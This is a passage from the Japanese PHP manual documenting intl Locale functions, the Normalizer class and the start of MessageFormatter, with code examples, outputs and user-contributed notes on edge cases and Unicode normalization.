
オプションのフォーマットロケール。 文字名の表示に使用します。

返り値

$locale に対応する文字の表示名を、 $in_locale にあわせた形式で返します。

例

例1 locale_get_display_script() の例

<?php
echo locale_get_display_script('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_script('sl-Latn-IT-nedis', 'de');
?>

例2 オブジェクト指向の例

<?php
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayScript('sl-Latn-IT-nedis', 'de');
?>

上の例の出力は以下となります。

Latin;
latin;
Lateinisch

参考

  • locale_get_display_name() - 入力ロケールの表示名を、適切に地域化して返す
  • locale_get_display_language() - 入力ロケールの言語の表示名を、適切に地域化して返す
  • locale_get_display_region() - 入力ロケールの地域の表示名を、適切に地域化して返す
  • locale_get_display_variant() - 入力ロケールの変化形の表示名を、適切に地域化して返す

User Contributed Notes

There are no user contributed notes for this page.


入力ロケールの変化形の表示名を、適切に地域化して返す

  • ≪ Locale::getDisplayScript
  • Locale::getKeywords ≫
  • PHP Manual
  • Locale
  • 入力ロケールの変化形の表示名を、適切に地域化して返す

Locale::getDisplayVariant

locale_get_display_variant

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getDisplayVariant -- locale_get_display_variant — 入力ロケールの変化形の表示名を、適切に地域化して返す

説明

オブジェクト指向型

public static Locale::getDisplayVariant ( string $locale , string $in_locale = ? ) : string

手続き型

locale_get_display_variant ( string $locale , string $in_locale = ? ) : string

入力ロケールの変化形の表示名を、適切に地域化して返します。 null の場合はデフォルトのロケールを使用します。

パラメータ

locale

表示変化形を返したいロケール。

in_locale

オプションのフォーマットロケール。 変化形の表示に使用します。

返り値

$locale に対応する変化形の表示名を、 $in_locale にあわせた形式で返します。

例

例1 locale_get_display_variant() の例

<?php
echo locale_get_display_variant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo locale_get_display_variant('sl-Latn-IT-nedis', 'de');
?>

例2 オブジェクト指向の例

<?php
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'en');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'fr');
echo ";\n";
echo Locale::getDisplayVariant('sl-Latn-IT-nedis', 'de');
?>

上の例の出力は以下となります。

Natisone dialect;
dialecte de Natisone;
NEDIS

参考

  • locale_get_display_name() - 入力ロケールの表示名を、適切に地域化して返す
  • locale_get_display_language() - 入力ロケールの言語の表示名を、適切に地域化して返す
  • locale_get_display_script() - 入力ロケールの文字の表示名を、適切に地域化して返す
  • locale_get_display_region() - 入力ロケールの地域の表示名を、適切に地域化して返す

User Contributed Notes

There are no user contributed notes for this page.


入力ロケールのキーワードを取得する

  • ≪ Locale::getDisplayVariant
  • Locale::getPrimaryLanguage ≫
  • PHP Manual
  • Locale
  • 入力ロケールのキーワードを取得する

Locale::getKeywords

locale_get_keywords

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getKeywords -- locale_get_keywords — 入力ロケールのキーワードを取得する

説明

オブジェクト指向型

public static Locale::getKeywords ( string $locale ) : array

手続き型

locale_get_keywords ( string $locale ) : array

入力ロケールのキーワードを取得します。

パラメータ

locale

キーワードを取り出したいロケール。

返り値

このロケールのキーワードと値のペアを連想配列で返します。

例

例1 locale_get_keywords() の例

<?php
$keywords_arr = locale_get_keywords('de_DE@currency=EUR;collation=PHONEBOOK');
if ($keywords_arr) {
    foreach ($keywords_arr as $key => $value) {
        echo "$key = $value\n";
    }
}
?>

例2 オブジェクト指向の例

<?php
$keywords_arr = Locale::getKeywords('de_DE@currency=EUR;collation=PHONEBOOK');
if ($keywords_arr) {
    foreach ($keywords_arr as $key => $value) {
        echo "$key = $value\n";
    }
}
?>

上の例の出力は以下となります。

collation = PHONEBOOK
currency = EUR

参考

  • locale_get_all_variants() - 入力ロケールの変化系を取得する

User Contributed Notes

There are no user contributed notes for this page.


入力ロケールのプライマリ言語を取得する

  • ≪ Locale::getKeywords
  • Locale::getRegion ≫
  • PHP Manual
  • Locale
  • 入力ロケールのプライマリ言語を取得する

Locale::getPrimaryLanguage

locale_get_primary_language

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getPrimaryLanguage -- locale_get_primary_language — 入力ロケールのプライマリ言語を取得する

説明

オブジェクト指向型

public static Locale::getPrimaryLanguage ( string $locale ) : string

手続き型

locale_get_primary_language ( string $locale ) : string

入力ロケールのプライマリ言語を取得します。

パラメータ

locale

プライマリ言語コードを取り出したいロケール。

返り値

このロケールの言語コード、あるいはエラー時に null を返します。

例

例1 locale_get_primary_language() の例

<?php
echo locale_get_primary_language('zh-Hant');
?>

例2 オブジェクト指向の例

<?php
echo Locale::getPrimaryLanguage('zh-Hant');
?>

上の例の出力は以下となります。

zh

参考

  • locale_get_script() - 入力ロケールの文字を取得する
  • locale_get_region() - 入力ロケールの地域を取得する
  • locale_get_all_variants() - 入力ロケールの変化系を取得する

User Contributed Notes

Mahn 09-May-2015 11:48
The behaviour when a falsy value is passed as the $locale is undocumented, but it appears that it returns the primary language of the default system language. In my case:

    Locale::getPrimaryLanguage(null);

Returns 'en'. So make sure to test $locale before passing it to the method.


入力ロケールの地域を取得する

  • ≪ Locale::getPrimaryLanguage
  • Locale::getScript ≫
  • PHP Manual
  • Locale
  • 入力ロケールの地域を取得する

Locale::getRegion

locale_get_region

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getRegion -- locale_get_region — 入力ロケールの地域を取得する

説明

オブジェクト指向型

public static Locale::getRegion ( string $locale ) : string

手続き型

locale_get_region ( string $locale ) : string

入力ロケールの地域を取得します。

パラメータ

locale

地域コードを取り出したいロケール。

返り値

このロケールの地域サブタグ、あるいは存在しない場合に null を返します。

例

例1 locale_get_region() の例

<?php
echo locale_get_region('de-CH-1901');
?>

例2 オブジェクト指向の例

<?php
echo Locale::getRegion('de-CH-1901');
?>

上の例の出力は以下となります。

CH

参考

  • locale_get_primary_language() - 入力ロケールのプライマリ言語を取得する
  • locale_get_script() - 入力ロケールの文字を取得する
  • locale_get_all_variants() - 入力ロケールの変化系を取得する

User Contributed Notes

Patanjali 30-Jan-2017 06:24
locale_get_region does no validation of whether the region exists, but just extracts the text that looks like it can be the region part of the locale, and formats it as uppercase.

It doesn't even have to be a 2-character code, but can be an invalid 3-character one.


入力ロケールの文字を取得する

  • ≪ Locale::getRegion
  • Locale::lookup ≫
  • PHP Manual
  • Locale
  • 入力ロケールの文字を取得する

Locale::getScript

locale_get_script

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::getScript -- locale_get_script — 入力ロケールの文字を取得する

説明

オブジェクト指向型

public static Locale::getScript ( string $locale ) : string

手続き型

locale_get_script ( string $locale ) : string

入力ロケールの文字を取得します。

パラメータ

locale

文字を取り出したいロケール。

返り値

このロケールの文字サブタグ、あるいは存在しない場合に null を返します。

例

例1 locale_get_script() の例

<?php
echo locale_get_script('sr-Cyrl');
?>

例2 オブジェクト指向の例

<?php
echo Locale::getScript('sr-Cyrl');
?>

上の例の出力は以下となります。

Cyrl

参考

  • locale_get_primary_language() - 入力ロケールのプライマリ言語を取得する
  • locale_get_region() - 入力ロケールの地域を取得する
  • locale_get_all_variants() - 入力ロケールの変化系を取得する

User Contributed Notes

Patanjali 30-Jan-2017 06:27
locale_get_script does no validation of whether the script exists, but just extracts the 4-character text that looks like it can be the script part of the locale, and formats it with an initial cap.


その言語にマッチする言語タグの一覧を検索する

  • ≪ Locale::getScript
  • Locale::parseLocale ≫
  • PHP Manual
  • Locale
  • その言語にマッチする言語タグの一覧を検索する

Locale::lookup

locale_lookup

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::lookup -- locale_lookup — その言語にマッチする言語タグの一覧を検索する

説明

オブジェクト指向型

public static Locale::lookup ( array $langtag , string $locale , bool $canonicalize = false , string $default = ? ) : string

手続き型

locale_lookup ( array $langtag , string $locale , bool $canonicalize = false , string $default = ? ) : string

langtag の中から、 locale で指定した言語の範囲に最もマッチするものを RFC 4647 の検索アルゴリズムで調べます。

パラメータ

langtag

locale と比較したい言語タグの一覧を含む配列。 最大で 100 件まで指定できます。

locale

調べる対象となる言語の範囲として使用するロケール。

canonicalize

true の場合は、引数を正式な形式に変換してからマッチを行います。

default

マッチしなかったときに使用するロケール。

返り値

最も近い言語タグ、あるいはデフォルトの値を返します。

例

例1 locale_lookup() の例

<?php
$arr = array(
    'de-DEVA',
    'de-DE-1996',
    'de',
    'de-De'
);
echo locale_lookup($arr, 'de-DE-1996-x-prv1-prv2', true, 'en_US');
?>

例2 オブジェクト指向の例

<?php
$arr = array(
    'de-DEVA',
    'de-DE-1996',
    'de',
    'de-De'
);
echo Locale::lookup($arr, 'de-DE-1996-x-prv1-prv2', true, 'en_US');
?>

上の例の出力は以下となります。

de_de_1996

参考

  • locale_filter_matches() - 言語タグフィルタがロケールにマッチするかどうかを調べる

User Contributed Notes

Anonymous 08-May-2015 10:59
Note that this method does not understand "similar" languages, so the following:

    Locale::lookup(["en-US"], "en-GB", false);
Or:
    Locale::lookup(["es-ES"], "es-CO", false);

Does not work as you would expect (empty result). To get a match in those cases you will have to use two letter language codes instead:

    Locale::lookup(["en"], "en-GB", false);
Or:
    Locale::lookup(["es"], "es-CO", false);

These do return 'en' and 'es' respectively.
vladimir at bashkirtsev dot com 28-Jul-2014 03:22
It worth to note that if $langtag array is empty this function returns empty string and not $default . Use array(false) if your $langtag array is empty in order to get default locale.


ロケール ID のサブタグ要素を連想配列で返す

  • ≪ Locale::lookup
  • Locale::setDefault ≫
  • PHP Manual
  • Locale
  • ロケール ID のサブタグ要素を連想配列で返す

Locale::parseLocale

locale_parse

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::parseLocale -- locale_parse — ロケール ID のサブタグ要素を連想配列で返す

説明

オブジェクト指向型

public static Locale::parseLocale ( string $locale ) : array

手続き型

locale_parse ( string $locale ) : array

ロケール ID のサブタグ要素を連想配列で返します。

パラメータ

locale

サブタグの配列を取り出したいロケール。 注意: サブタグ 'variant' と 'private' には最大で 15 の値を指定できますが、 'extlang' には最大で 3 つの値しか指定できません。

返り値

連想配列を返します。キーがロケール ID サブタグを表し、 そのサブタグの値が関連付けられています。 この配列の並び順はロケール ID サブタグの順となります。変化形が '-varX-varY-varZ' の場合、返される配列は variant0=>varX , variant1=>varY , variant2=>varZ のようになります。

locale の長さが INTL_MAX_LOCALE_LEN を超えた場合、null を返します。

例

例1 locale_parse() の例

<?php
$arr = locale_parse('sl-Latn-IT-nedis');
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}
?>

例2 オブジェクト指向の例

<?php
$arr = Locale::parseLocale('sl-Latn-IT-nedis');
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}
?>

上の例の出力は以下となります。

language : sl , script : Latn , region : IT , variant0 : NEDIS ,

参考

  • locale_compose() - 正しく並べ替えて区切られたロケール ID を返す

User Contributed Notes

There are no user contributed notes for this page.


デフォルトの実行時ロケールを設定する

  • ≪ Locale::parseLocale
  • Normalizer ≫
  • PHP Manual
  • Locale
  • デフォルトの実行時ロケールを設定する

Locale::setDefault

locale_set_default

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Locale::setDefault -- locale_set_default — デフォルトの実行時ロケールを設定する

説明

オブジェクト指向型

public static Locale::setDefault ( string $locale ) : bool

手続き型

locale_set_default ( string $locale ) : bool

デフォルトの実行時ロケールを $locale に設定します。 これは INTL のグローバル 'default_locale' のロケール ID となります。UAX #35 拡張も使用可能です。

パラメータ

locale

BCP 47 準拠の言語タグ。

返り値

常に true を返します。

例

例1 locale_set_default() の例

<?php
locale_set_default('de-DE');
echo locale_get_default();
?>

例2 オブジェクト指向の例

<?php
Locale::setDefault('de-DE');
echo Locale::getDefault();
?>

上の例の出力は以下となります。

de-DE

参考

  • locale_get_default() - INTL のグローバル 'default_locale' からデフォルトのロケールを取得する

User Contributed Notes

There are no user contributed notes for this page.


Normalizer クラス

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

はじめに

正規化とは、文字や文字列を正式に決められた表現に変換する処理のことです。 これは、検索や並べ替えなどの際に比較をするときに特に重要となります。 ただ、それだけではなく、テキストを保存する際に表記を統一するために用いることもあります。

Unicode Consortium では、 アプリケーション側でのさまざまなニーズにあわせていくつかの正規化方式を定義しています。

  • Normalization Form D (NFD) - Canonical Decomposition
  • Normalization Form C (NFC) - Canonical Decomposition followed by Canonical Composition
  • Normalization Form KD (NFKD) - Compatibility Decomposition
  • Normalization Form KC (NFKC) - Compatibility Decomposition followed by Canonical Composition
これらの方式は、テキストに対する変換 (transformation) のセットとして定義されます。変換 (transformation) は、アルゴリズムとデータファイルの両方で表現します。

クラス概要

Normalizer {
/* メソッド */
public static getRawDecomposition ( string $input ) : string
public static isNormalized ( string $input , int $form = Normalizer::FORM_C ) : bool
public static normalize ( string $input , int $form = Normalizer::FORM_C ) : string
}

定義済み定数

以下の定数は、使用する正規化方式を定義するものです。

Normalizer::FORM_C (int)
Normalization Form C (NFC) - Canonical Decomposition followed by Canonical Composition
Normalizer::FORM_D (int)
Normalization Form D (NFD) - Canonical Decomposition
Normalizer::FORM_KC (int)
Normalization Form KC (NFKC) - Compatibility Decomposition, followed by Canonical Composition
Normalizer::FORM_KD (int)
Normalization Form KD (NFKD) - Compatibility Decomposition
Normalizer::NONE (int)
分解/合成を行わない
Normalizer::OPTION_DEFAULT (int)
デフォルトの正規化オプション

参考

  • » Unicode Normalization
  • » Unicode Normalization FAQ
  • » ICU User Guide - Normalization
  • » ICU API Reference - Normalization

目次

  • Normalizer::getRawDecomposition — Gets the Decomposition_Mapping property for the given UTF-8 encoded code point
  • Normalizer::isNormalized — 渡された文字列が、指定した正規化を適用済みかどうかを調べる
  • Normalizer::normalize — 渡された入力を正規化し、正規化後の文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


Gets the Decomposition_Mapping property for the given UTF-8 encoded code point

  • ≪ Normalizer
  • Normalizer::isNormalized ≫
  • PHP Manual
  • Normalizer
  • Gets the Decomposition_Mapping property for the given UTF-8 encoded code point

Normalizer::getRawDecomposition

normalizer_get_raw_decomposition

(PHP 7 >= 7.3)

Normalizer::getRawDecomposition -- normalizer_get_raw_decomposition — Gets the Decomposition_Mapping property for the given UTF-8 encoded code point

説明

オブジェクト指向型

public static Normalizer::getRawDecomposition ( string $input ) : string

手続き型

normalizer_get_raw_decomposition ( string $input ) : string

Gets the Decomposition_Mapping property, as specified in the Unicode Character Database (UCD), for the given UTF-8 encoded code point.

パラメータ

input

The input string, which should be a single, UTF-8 encoded, code point.

返り値

Returns a string containing the Decomposition_Mapping property, if present in the UCD.

Returns null if there is no Decomposition_Mapping property for the character.

例

例1 Normalizer::getRawDecomposition() example

<?php

$result = "";
$strings = [
    "a",
    "\u{FFDA}",
    "\u{FDFA}",
    "",
    "aa",
    "\xF5",
];

foreach ($strings as $string) {
    $decomposition = Normalizer::getRawDecomposition($string);
    // $decomposition = normalizer_get_raw_decomposition($string); Procedural way

    $error_code = intl_get_error_code();
    $error_message = intl_get_error_message();

    $string_hex = bin2hex($string);
    $result .= "---------------------\n";

    if ($decomposition === null) {
        $result .= "'$string_hex' has no decomposition mapping\n" ;
    } else {
        $result .= "'$string_hex' has the decomposition mapping '" . bin2hex($decomposition) . "'\n" ;
    }

    $result .= "error info: '$error_message' ($error_code)\n";
}

echo $result;
?>

上の例の出力は以下となります。

---------------------
'61' has no decomposition mapping
error info: 'U_ZERO_ERROR' (0)
---------------------
'efbf9a' has the decomposition mapping 'e385a1'
error info: 'U_ZERO_ERROR' (0)
---------------------
'efb7ba' has the decomposition mapping 'd8b5d984d98920d8a7d984d984d98720d8b9d984d98ad98720d988d8b3d984d985'
error info: 'U_ZERO_ERROR' (0)
---------------------
'' has no decomposition mapping
error info: 'Input string must be exactly one UTF-8 encoded code point long.: U_ILLEGAL_ARGUMENT_ERROR' (1)
---------------------
'6161' has no decomposition mapping
error info: 'Input string must be exactly one UTF-8 encoded code point long.: U_ILLEGAL_ARGUMENT_ERROR' (1)
---------------------
'f5' has no decomposition mapping
error info: 'Code point out of range: U_ILLEGAL_ARGUMENT_ERROR' (1)

参考

  • Normalizer::normalize() - 渡された入力を正規化し、正規化後の文字列を返す
  • Normalizer::isNormalized() - 渡された文字列が、指定した正規化を適用済みかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


渡された文字列が、指定した正規化を適用済みかどうかを調べる

  • ≪ Normalizer::getRawDecomposition
  • Normalizer::normalize ≫
  • PHP Manual
  • Normalizer
  • 渡された文字列が、指定した正規化を適用済みかどうかを調べる

Normalizer::isNormalized

normalizer_is_normalized

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Normalizer::isNormalized -- normalizer_is_normalized — 渡された文字列が、指定した正規化を適用済みかどうかを調べる

説明

オブジェクト指向型

public static Normalizer::isNormalized ( string $input , int $form = Normalizer::FORM_C ) : bool

手続き型

normalizer_is_normalized ( string $input , int $form = Normalizer::FORM_C ) : bool

渡された文字列が、指定した正規化を適用済みかどうかを調べます。

パラメータ

input

正規化する入力文字列。

form

正規化方式のいずれか。

返り値

正規化されている場合に true、正規化されていない場合やエラーが発生した場合に false を返します。

例

例1 normalizer_is_normalized() の例

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( normalizer_is_normalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( normalizer_is_normalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

例2 オブジェクト指向の例

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( Normalizer::isNormalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( Normalizer::isNormalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

上の例の出力は以下となります。

not normalized; normalized

参考

  • normalizer_normalize() - 渡された入力を正規化し、正規化後の文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


渡された入力を正規化し、正規化後の文字列を返す

  • ≪ Normalizer::isNormalized
  • MessageFormatter ≫
  • PHP Manual
  • Normalizer
  • 渡された入力を正規化し、正規化後の文字列を返す

Normalizer::normalize

normalizer_normalize

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

Normalizer::normalize -- normalizer_normalize — 渡された入力を正規化し、正規化後の文字列を返す

説明

オブジェクト指向型

public static Normalizer::normalize ( string $input , int $form = Normalizer::FORM_C ) : string

手続き型

normalizer_normalize ( string $input , int $form = Normalizer::FORM_C ) : string

渡された入力を正規化し、正規化後の文字列を返します。

パラメータ

input

正規化する入力文字列。

form

正規化方式のいずれか。

返り値

正規化後の文字列、あるいはエラーが発生した場合に false を返します。

例

例1 normalizer_normalize() の例

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_1 = normalizer_normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

例2 オブジェクト指向の例

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A";  // 'COMBINING RING ABOVE' (U+030A)

$char_1 = Normalizer::normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

上の例の出力は以下となります。

%C3%85 %C3%85

参考

  • normalizer_is_normalized() - 渡された文字列が、指定した正規化を適用済みかどうかを調べる

User Contributed Notes

anrdaemon at freemail dot ru 12-Feb-2018 11:53
"If you get error messages while starting apache of xampp package with activated extension=intl.dll," do NOT copy any files around.

Use Apache's "LoadFile ..." functionality to load any missing DLL's not found within a %PATH%. Even php##ts.dll itself.
spam at oscar dot xyz 25-Feb-2015 02:39
You can use the 'original' abbreviations if you feel more comfortable:

<?php
Normalizer::NFD;
Normalizer::NFKD;
Normalizer::NFC;
Normalizer::NFKC;
?>
tom dot vom dot berg at online dot de 12-Apr-2014 08:54
If you get error messages while starting apache of xampp package with activated extension=intl.dll, copy the files

    * icudt##.dll
    * icuin##.dll
    * icuio##.dll
    * icule##.dll
    * iculx##.dll
    * icutu##.dll
    * icuuc##.dll

## = version number

from "/program files/xampp/php"
into your "/program files/xampp/apache/bin" or whereever your xampp resides :-)
akniep at rayo dot info 30-Jul-2009 09:03
Especially when matching texts against each-other or against keywords, it is helpful to normalize the texts before.
The following function removes all diacritics (marks like accents) from a given UTF8-encoded texts and returns ASCii-text.

Be sure to have the PHP-Normalizer-extension (intl and icu) installed.

Tipp: You may also want to map the text to lower case before execute matching procedures ...

<?php

function normalizeUtf8String( $s)
{
    // Normalizer-class missing!
    if (! class_exists("Normalizer", $autoload = false))
        return $original_string;

    // maps German (umlauts) and other European characters onto two characters before just removing diacritics
    $s    = preg_replace( '@\x{00c4}@u'    , "AE",    $s );    // umlaut A => AE
    $s    = preg_replace( '@\x{00d6}@u'    , "OE",    $s );    // umlaut O => OE
    $s    = preg_replace( '@\x{00dc}@u'    , "UE",    $s );    // umlaut U => UE
    $s    = preg_replace( '@\x{00e4}@u'    , "ae",    $s );    // umlaut a => ae
    $s    = preg_replace( '@\x{00f6}@u'    , "oe",    $s );    // umlaut o => oe
    $s    = preg_replace( '@\x{00fc}@u'    , "ue",    $s );    // umlaut u => ue
    $s    = preg_replace( '@\x{00f1}@u'    , "ny",    $s );    // n => ny
    $s    = preg_replace( '@\x{00ff}@u'    , "yu",    $s );    // y => yu

    // maps special characters (characters with diacritics) on their base-character followed by the diacritical mark
        // exmaple:  U => U´,  a => a`
    $s    = Normalizer::normalize( $s, Normalizer::FORM_D );

    $s    = preg_replace( '@\pM@u'        , "",    $s );    // removes diacritics

    $s    = preg_replace( '@\x{00df}@u'    , "ss",    $s );    // maps German s onto ss
    $s    = preg_replace( '@\x{00c6}@u'    , "AE",    $s );    // A => AE
    $s    = preg_replace( '@\x{00e6}@u'    , "ae",    $s );    // a => ae
    $s    = preg_replace( '@\x{0132}@u'    , "IJ",    $s );    // ? => IJ
    $s    = preg_replace( '@\x{0133}@u'    , "ij",    $s );    // ? => ij
    $s    = preg_replace( '@\x{0152}@u'    , "OE",    $s );    // ? => OE
    $s    = preg_replace( '@\x{0153}@u'    , "oe",    $s );    // ? => oe

    $s    = preg_replace( '@\x{00d0}@u'    , "D",    $s );    // D => D
    $s    = preg_replace( '@\x{0110}@u'    , "D",    $s );    // D => D
    $s    = preg_replace( '@\x{00f0}@u'    , "d",    $s );    // d => d
    $s    = preg_replace( '@\x{0111}@u'    , "d",    $s );    // d => d
    $s    = preg_replace( '@\x{0126}@u'    , "H",    $s );    // H => H
    $s    = preg_replace( '@\x{0127}@u'    , "h",    $s );    // h => h
    $s    = preg_replace( '@\x{0131}@u'    , "i",    $s );    // i => i
    $s    = preg_replace( '@\x{0138}@u'    , "k",    $s );    // ? => k
    $s    = preg_replace( '@\x{013f}@u'    , "L",    $s );    // ? => L
    $s    = preg_replace( '@\x{0141}@u'    , "L",    $s );    // L => L
    $s    = preg_replace( '@\x{0140}@u'    , "l",    $s );    // ? => l
    $s    = preg_replace( '@\x{0142}@u'    , "l",    $s );    // l => l
    $s    = preg_replace( '@\x{014a}@u'    , "N",    $s );    // ? => N
    $s    = preg_replace( '@\x{0149}@u'    , "n",    $s );    // ? => n
    $s    = preg_replace( '@\x{014b}@u'    , "n",    $s );    // ? => n
    $s    = preg_replace( '@\x{00d8}@u'    , "O",    $s );    // O => O
    $s    = preg_replace( '@\x{00f8}@u'    , "o",    $s );    // o => o
    $s    = preg_replace( '@\x{017f}@u'    , "s",    $s );    // ? => s
    $s    = preg_replace( '@\x{00de}@u'    , "T",    $s );    // T => T
    $s    = preg_replace( '@\x{0166}@u'    , "T",    $s );    // T => T
    $s    = preg_replace( '@\x{00fe}@u'    , "t",    $s );    // t => t
    $s    = preg_replace( '@\x{0167}@u'    , "t",    $s );    // t => t

    // remove all non-ASCii characters
    $s    = preg_replace( '@[^\0-\x80]@u'    , "",    $s );

    // possible errors in UTF8-regular-expressions
    if (empty($s))
        return $original_string;
    else
        return $s;
}
?>

The above function is mainly based on the following article:
http://ahinea.com/en/tech/accented-translate.html


MessageFormatter クラス

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

はじめに

MessageFormatter は、言語に依存しない連結されたメッセージを作成するための具象クラスです。 このクラスのメソッドを使用して、 エンドユーザー向けのすべてのメッセージを作成します。

MessageFormatter クラスは、プログラムから渡したさまざまな部品 (テキスト、数値、日付など) を組み合わせてメッセージを作成します。 MessageFormatter クラスでは、 プログラム側が部品の順序を気にする必要はありません。 このクラスでは、各部品に対して書式指定を使用し、 リソースバンドル内のひとつの文字列にメッセージをまとめます。 たとえば、 "Finished printing x out of y files..." のようなメッセージがあった場合に MessageFormatter は各翻訳に対して柔軟な表示を行います。

これまでは、エンドユーザー向けのメッセージは文章として作成し、 文字列で処理していました。 これは地域化の際にさまざまな問題を引き起こしていました。 文章の構造や単語の並び順、そして数値の書式などは 各言語によってさまざまに異なっているからです。 言語に依存しない方法でメッセージを作成するには、 メッセージの各部分を分割し、そこにデータへのキーを指定するようにします。 このキーを使用して、MessageFormatter クラスはメッセージの各部分を連結します。 そして地域化して適切な書式にした文字列をエンドユーザー向けに表示します。

MessageFormatter はオブジェクトのセットを受け取ってそれをフォーマットし、 フォーマットした文字列を適切な位置に埋め込みます。 MessageFormatter のフォーマットを選択することで、 数値にあわせて複数形を選択することができます。 一般的には、メッセージのフォーマットはリソースから取得し、 引数は実行時に動的に与えるようになります。

クラス概要

MessageFormatter {
/* メソッド */
public __construct ( string $locale , string $pattern )
public static create ( string $locale , string $pattern ) : MessageFormatter
public static formatMessage ( string $locale , string $pattern , array $args ) : string
public format ( array $args ) : string
public getErrorCode ( ) : int
public getErrorMessage ( ) : string
public getLocale ( ) : string
public getPattern ( ) : string
public static parseMessage ( string $locale , string $pattern , string $source ) : array
public parse ( string $value ) : array
public setPattern ( string $pattern ) : bool
}

参考

  • » ICU formatting documentation
  • » ICU message formatting description
  • » ICU message formatters
  • » ICU choice formatters

目次

  • MessageFormatter::create — 新しいメッセージフォーマッタを作成する
  • MessageFormatter::formatMessage — 手早くメッセージをフォーマットする
  • MessageFormatter::format — メッセージをフォーマットする
  • MessageFormatter::getErrorCode — 直近の操作のエラーコードを取得する
  • MessageFormatter::getErrorMessage — 直近の操作のエラーテキストを取得する
  • MessageFormatter::getLocale — フォーマッタを作成した際のロケールを取得する
  • MessageFormatter::getPattern — フォーマッタが使用するパターンを取得する
  • MessageFormatter::parseMessage — 手早く入力文字列をパースする
  • MessageFormatter::parse — パターンを使用して入力文字列をパースする
  • MessageFormatter::setPattern — フォーマッタが使用するパターンを設定する

User Contributed Notes

from dot php dot net at NOSPAM dot brainbox dot cz 02-Oct-2014 10:18
MessageFormatter does not work with DateTime instances as parameters in PHP < 5.5. Instance will be converted to timestamp with value 0 (e.g. 1970-01-01) and following Notice will be raised: ?Object of class DateTime could not be converted to int". You have to manually convert the instance to timestamp in these old PHP versions.

<?php
$datetime = new DateTime();
if (PHP_VERSION_ID < 50500) { // PHP < 5.5 needs conversion to timestamp
   MessageFormatter::formatMessage('en_US', 'Today is {0, date, full}.', array($datetime->getTimestamp()));
} else {
   // current code
   MessageFormatter::formatMessage('en_US', 'Today is {0, date, full}.', array($datetime));
}
?>


新しいメッセージフォーマッタを作成する

  • ≪ MessageFormatter
  • MessageFormatter::formatMessage ≫
  • PHP Manual
  • MessageFormatter
  • 新しいメッセージフォーマッタを作成する

MessageFormatter::create

MessageFormatter::__construct

msgfmt_create

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

MessageFormatter::create -- MessageFormatter::__construct -- msgfmt_create — 新しいメッセージフォーマッタを作成する

説明

オブジェクト指向型 (メソッド)

public static MessageFormatter::create ( string $locale , string $pattern ) : MessageFormatter

オブジェクト指向型 (コンストラクタ):

public MessageFormatter::__construct ( string $locale , string $pattern )

手続き型

msgfmt_create ( string $locale , string $pattern ) : MessageFormatter

新しい Message Formatter を作成します。

パラメータ

locale

引数のフォーマットに用いるロケール。

pattern

引数を埋め込むパターン文字列。 パターンには、'アポストロフィに優しい' 構文を使用します。 » umsg_autoQuoteApostrophe を通してから解釈が行われます。

返り値

フォーマッタオブジェクトを返します。

エラー / 例外

コンストラクタとして呼ばれた場合、失敗時に IntlException をスローします。

例

例1 msgfmt_create() の例

<?php
